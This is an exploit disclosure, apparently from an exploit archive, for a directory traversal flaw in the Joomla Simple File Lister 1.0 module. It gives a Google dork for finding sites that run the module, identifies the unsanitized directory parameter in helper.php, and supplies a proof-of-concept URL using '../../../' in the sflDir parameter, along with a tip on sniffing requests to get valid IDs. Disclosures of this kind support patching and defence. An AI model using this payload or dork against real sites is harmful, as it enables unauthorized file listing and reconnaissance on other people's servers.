Joomla Simple File Lister module <= 1.0 Directory Traversal Vulnerability

# Exploit Title: Joomla Simple File Lister module <= 1.0 Directory Traversal Vulnerability # Google Dork: "Simple File Lister v1.0" "Files in directory" # Date: 2011-08-28 # Author: evilsocket ( evilsocket [at] gmail [dot] com ) # Software Link: http://extensions.joomla.org/extensions/core-enhancements/file-management/15793 # Version: 1.0 --------------- Vulnerable code --------------- [ helper.php line 51 ] function getDirContents($params, $sfl_dirlocation, $sfl_basepath, $sfl_maxfiles, $sfl_userlocation) { ... ... really messy code, generally speaking the variable $sfl_dirlocation which contains the directory to be read is not succesfully sanitized for relative paths ... ... --- PoC --- http://www.site.com/index.php?option=com_content&view=article&id=[A VALID ID]&Itemid=[A VALID ID]&sflaction=dir&sflDir=../../../ To look for a valid url, just sniff the HTTP request sent from the module javascript code once a directory is clicked.